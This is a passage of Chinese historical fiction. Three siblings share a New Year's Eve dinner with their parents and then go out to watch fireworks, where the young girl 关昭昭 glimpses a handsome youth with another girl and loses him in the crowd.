“我知道是春联,写的什么呀?” 关凌墨头也不抬,“天增岁月人增寿,春满乾坤福满门。” 关昭昭眨眨眼,把那几个字在心里念了一遍,点点头,“写的好!” 关凌庆在旁边斜她一眼,“你听得懂吗?” “听得懂啊!”关昭昭理直气壮,“就是过年了,人长一岁,福气进门的意思……” 关凌庆忍不住笑出声,伸手揉了揉她脑袋,关昭昭也不恼,晃了晃脑袋,头发散了也不管,继续趴那儿看。 就这么看了好一会儿,直到外头飘进来一股饭香味,关昭昭的鼻子动了动,整个人跟着香味转了过去。 “娘在喊吃饭了。”关凌墨放下了笔。 关昭昭这才听见外头隐约传来的声音,是林纤云在廊下招呼丫鬟摆饭,她“蹭”地一下站起来,拽着两个哥哥就往外跑。 年夜饭摆了一桌子,满满当当的,从桌子这头摆到那头,都快摆不下了。 关忠坐在主位上,面前那碗酒已经下去了大半,脸上被炭火和热菜熏得红彤彤的,连脖子根都泛着红色。他笑呵呵的看着一大家子人,端起碗来又是一大口,喝完了咂咂嘴,大喊一声“痛快!” 林纤云坐在他旁边,手里筷子就没停过。 一会儿给关凌庆夹块排骨,一会儿给关凌墨添勺蛋羹,一会儿又往关昭昭碗里塞个丸子,嘴里还不停地念叨,“多吃点这个,补身子……那个也尝尝,我盯着炖了一下午,烂糊着呢……” 她说着,又夹了一筷子鱼肉,细细地把刺挑了,才放进关昭昭碗里。 关凌庆和关凌墨坐在一起,面上端得一本正经的,可那筷子却动得飞快。 关凌庆刚夹了块红烧肉,关凌墨的筷子就到了,两双筷子在半空中碰了一下,谁也不让谁,最后肉被关凌庆抢走,关凌墨面不改色地转向旁边的糖醋鱼。 关昭昭坐在她娘旁边,面前那只小碗已经堆得跟小山似的,红烧肉、糖醋鱼、四喜丸子、炖排骨,全摞一块儿都快冒尖了。 她没办法只能埋头苦吃,腮帮子鼓得圆圆的,一动一动像只小仓鼠。 偶尔抬起头,嘴边还挂着油光,冲她娘傻笑一下,然后又低下头继续吃,吃着吃着,外头忽然传来一阵噼里啪啦的鞭炮声。 关昭昭耳朵动了动,筷子不 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“才刚黑!”关凌庆赶紧说,“我们就站在街口看看,不走远,看完就回来!” “对对对,就站街口!”关昭昭在一旁使劲点头。 关凌墨也淡淡开口,“有我跟着,没事。” 林纤云看了他一眼,这老大说话向来靠得住,比老二稳当多了,于是她终于摆摆手,“去吧去吧,穿厚实点,别冻着,记得看好你妹妹,别让人挤着。” “知道了知道了!”关昭昭兴奋地跳下凳子,碗里还剩半块肉也顾不上吃了,拽着两个哥哥就往外跑,跑到门口又忽然停住,回过头冲林纤云咧嘴笑了笑,然后一掀帘子,人影就消失在门后头了。 林纤云看着那晃动的门帘,笑着摇摇头,继续给关忠添酒。 兄妹三人出了府门,一路往南走。 街上热闹得很,到处都是人。 有挑着灯笼的小孩跑来跑去,卖糖葫芦的推着小车吆喝,山楂串在灯下红得发亮,惹得孩子们拽着爹娘的衣角不肯走。 卖面具的摊子前围着一堆人,什么猴子、狐狸、大花脸,挂得满满当当。 关昭昭东张西望,眼睛都不够使了,她一眼就看中了个狐狸面具,白底红纹,眼睛那儿勾得细细的,好看极了。 “哥!”她拽了拽关凌庆的袖子,“我要那个!” 关凌庆顺着她手指一看,掏出几个铜板挤过去,把面具买了回来,关昭昭接过来就往脸上戴,那面具比她脸大了一圈,挂在脸上晃晃悠悠的,只露出一对大大的眼睛。 “好看吗?”她转过去问关凌墨。 关凌墨看了看那快遮住她半张脸的面具,表情不变道:“好看。” 关昭昭美滋滋地戴着面具,继续往前走。 走了约莫一刻钟,前头忽然亮了起来,亮得跟白天似的,街口挤满了人,里三层外三层,脑袋挨着脑袋,肩膀碰着肩膀。 “到了到了!”关凌庆兴奋地喊了一声,拽着关昭昭就往里挤。 可人实在太多了,关昭昭个子矮,踮起脚尖也只能看见前面人的后背。 她使劲蹦了两下,还是什么都看不见,急得直拽关凌庆的袖子。 关凌庆低头看她那副猴急的样子,笑了一声,弯腰一把抄起她,往肩膀上一放。 “坐稳了!” 关昭昭惊呼一声,赶紧扶住他的脑袋,等坐稳了,视野一下子开阔起来。 满街的灯火,满街的人,还有远处那片被照得通亮的天。 她正看得入神,忽然,天边传来“砰”的一声巨响! 一簇火光冲天而起,在夜空中炸开,金黄色的大得能把整条街都罩住。 紧接着又是“砰砰砰”几声,红的、绿的、紫的、蓝的,一朵接一朵地在天上炸开,像是满天银河照亮了底下乌压压的人群。 关昭昭仰着脑袋,嘴巴张得大大的,面具歪到一边都忘了扶,就那么张着嘴,看得眼睛都直了。 烟花一朵接一朵地炸开,人群一阵接一阵地欢呼,关昭昭坐在关凌庆肩膀上,两只手扶着他的脑袋,被挤在人群里,反而一点也不觉得冷。 她正看得入神,余光不经意往下一扫,就再也移不开了。 人群边缘,站着一个模样极好看的少年。月白色的锦袍裹着清瘦的身形,在夜光下泛着柔和的光泽。周遭的人皆仰头望天,为漫天烟花惊叹喝彩,唯独他安安静静地立着,目光不知落在何处。 烟花一明一灭地落在他脸上,将那张侧脸勾勒得忽隐忽现,挺直的鼻梁,微微抿着的薄唇像是随时要笑,又像是从来不笑。 他身边还站着个穿粉裙的女孩,正侧着头跟他说着什么。说着说着,声音便小了,偷偷抬眼看他,目光刚触到那张脸,就飞快垂下眼去,脸颊悄悄红了一片。 少年听了,嘴角勾了勾,那笑意一闪而过,快得像天边划过的烟花。他微微侧身,凑近她说了句什么,刚好够她一个人听见。 女孩听了,脸更红了,咬着唇不吭声,只轻轻点了点头。 关昭昭看到这儿,忽然觉得心跳漏了一拍。 她使劲眨了眨眼睛,想看得更清楚些,可人群太密了,不断有人从他们中间穿过去把她的视线冲散。她急得往前探了探身子,伸手好似想抓住什么。 关凌庆被她晃得一个踉跄,赶紧伸手扶住她的腿,“别动!小心摔了!” 可她哪里听得进去,眼睛还是死死盯着那个方向,就在她努力辨认的时候,旁边忽然飘来一声轻笑。 是两个不知谁家的姑娘,并肩站着看烟花,其中一个掩着嘴,用胳膊肘碰了碰另一个,朝那个方向努了努嘴,“快瞧那边,多般配的一对儿。” 声音不大不小,恰好能飘进关昭昭耳朵里。 另一个顺着看去,忍不住“呀”了一声,拿帕子掩着嘴笑起来,“还真是,那公子生得可真好看,我还没见过这样的人物呢。” “可不,那姑娘也好看,两人站一块儿可真配。” 另一个也跟着点头,拿帕子掩着嘴笑起来,“我要是能找个这样的,做梦都能笑醒。” “得了吧你,”旁边那个撞了撞她胳膊,“也不照照镜子。” “去你的!”两人顿时笑成一团,推推搡搡地往旁边去了。 关昭昭说不清心里是什么滋味。 她只是又往那个方向看去,可人群偏偏再一次涌动起来,潮水般从她眼前漫过。 再一眨眼,人已经不见了。 她愣在那里好一会儿没动。 “怎么了?”关凌庆察觉到她在发愣,仰头问,“看见谁了?” 关昭昭回过神,摇了摇头,面具挡住了她的脸,没人看见她此刻的表情。 “……没事。”她的声音闷在面具后面,听着有些发瓮。 过了一会儿,她又抬起头往天上看。刚才那朵金黄色的烟花已经落尽了,天上的光亮一点一点暗下去,人群的欢呼声也渐渐散了。 最后一簇火星子从夜空中坠落,消失在远处的黑暗中。 周围重新变得吵闹,有人在喊孩子,有人在找同伴,乱糟糟的,闹哄哄的,可那些热闹好像都跟她没关系了。 关昭昭还坐在关凌庆肩上,一动不动。